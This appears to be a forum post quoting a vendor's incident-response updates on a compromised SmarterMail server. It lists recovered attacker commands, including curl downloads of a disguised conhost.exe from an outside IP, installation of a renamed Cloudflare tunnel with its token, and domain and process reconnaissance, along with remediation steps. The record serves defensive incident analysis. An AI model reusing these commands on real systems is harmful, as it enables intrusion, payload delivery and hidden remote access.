Here are a few snippets from updates we have received throughout the incident response from our vendor:
*****************************************************************************************
The following command was executed by the compromised service:
[CMD : "cmd.exe" /c whoami > "C:\Program Files (x86)\SmarterTools\SmarterMail\Service\wwwroot\result.txt"]
This activity represents exploitation of a known vulnerability in SmarterMail, where an attacker gained remote code execution capabilities and performed reconnaissance by executing the whoami command. The output was redirected to a web-accessible directory, allowing the attacker to retrieve the results. The result.txt file contained the text "nt authority\system" which indicates that the exploitation was successful and granted the attacker SYSTEM level privileges on the host.
Analysis indicates this is part of a broader pattern of exploitation targeting your SmarterMail infrastructure
EDR has successfully remediated the following exploitation artifact from hosts:
Path: [C:\Program Files (x86)\SmarterTools\SmarterMail\Service\wwwroot\result.txt]
SHA256: 1D11FE0D35F45662CDC2E6237B8A12D402752770CA2F76C2AC3EF54F0B006FB6
We were unable to find the source of what compromised MailService on HOST. We advise patching and hardening to reduce exploit attempts.
*****************************************************************************************
For additional context the first command the attacker got off was at 2026-01-17 15:19:49.724 UTC
The host is remediated at this time, looking through IIS logs and other folder paths. We have not been able to confidently attribute the source of the compromise to ensure the host is not compromised again.
I was able to confirm the attacker attempted the following commands
It appears that conhost[.]exe the renamed cloudflare tunnel was killed by the sensor preventing it's usage.
whoami
tasklist
curl -o c:\windows\conhost[.]exe http[:]//144[.]172[.]106[.]4:443/conhost[.]exe
curl -o c:\windows\conhost[.]exe http[:]//144[.]172[.]106[.]4:443/conhost[.]exe
curl -o c:\windows\conhost[.]exe http[:]//144[.]172[.]106[.]4:443/conhost[.]exe
curl -o c:\windows\conhost[.]exe http[:]//144[.]172[.]106[.]4:443/conhost[.]exe
service install eyJhIjoiYjkxMTczN2U0NDI3NTY2MzZmZWVkYzBiZjVhNTY3MDQiLCJ0IjoiNTg5MTFmNDQtZmQ0MS00ZDdmLTg1YWMtYzAyYzg4YTBlMDc5IiwicyI6IllXVXdNV1pqTkRBdFl6QTRaUzAwT0RjeUxUa3hZbVV0TUdSaU16Rm1OMkl4TldVNCJ9
C:\Windows\conhost[.]exe tunnel run --token eyJhIjoiYjkxMTczN2U0NDI3NTY2MzZmZWVkYzBiZjVhNTY3MDQiLCJ0IjoiNTg5MTFmNDQtZmQ0MS00ZDdmLTg1YWMtYzAyYzg4YTBlMDc5IiwicyI6IllXVXdNV1pqTkRBdFl6QTRaUzAwT0RjeUxUa3hZbVV0TUdSaU16Rm1OMkl4TldVNCJ9
service install eyJhIjoiYjkxMTczN2U0NDI3NTY2MzZmZWVkYzBiZjVhNTY3MDQiLCJ0IjoiNTg5MTFmNDQtZmQ0MS00ZDdmLTg1YWMtYzAyYzg4YTBlMDc5IiwicyI6IllXVXdNV1pqTkRBdFl6QTRaUzAwT0RjeUxUa3hZbVV0TUdSaU16Rm1OMkl4TldVNCJ9
dir c:\windows
service install eyJhIjoiYjkxMTczN2U0NDI3NTY2MzZmZWVkYzBiZjVhNTY3MDQiLCJ0IjoiNTg5MTFmNDQtZmQ0MS00ZDdmLTg1YWMtYzAyYzg4YTBlMDc5IiwicyI6IllXVXdNV1pqTkRBdFl6QTRaUzAwT0RjeUxUa3hZbVV0TUdSaU16Rm1OMkl4TldVNCJ9
nltest /dclist - Attacker has an list of DCs
ipconfig /all
wmic path win32_process get Caption,Processid,Commandline - see what is running on the host
We have not narrowed down what caused the compromise at this time
*****************************************************************************************
We have removed the following
"C:\Windows\conhost.exe" - Renamed Cloudflare tunnel
Removed the service
'Cloudflared'
C:\Windows\conhost.exe tunnel run --token eyJhIjoiYjkxMTczN2U0NDI3NTY2MzZmZWVkYzBiZjVhNTY3MDQiLCJ0IjoiNTg5MTFmNDQtZmQ0MS00ZDdmLTg1YWMtYzAyYzg4YTBlMDc5IiwicyI6IllXVXdNV1pqTkRBdFl6QTRaUzAwT0RjeUxUa3hZbVV0TUdSaU16Rm1OMkl4TldVNCJ9
Removed the log file the attacker created an copy is attached it appears to be recon seeing what was running on the host
C:\Program Files (x86)\SmarterTools\SmarterMail\Service\wwwroot\result.txt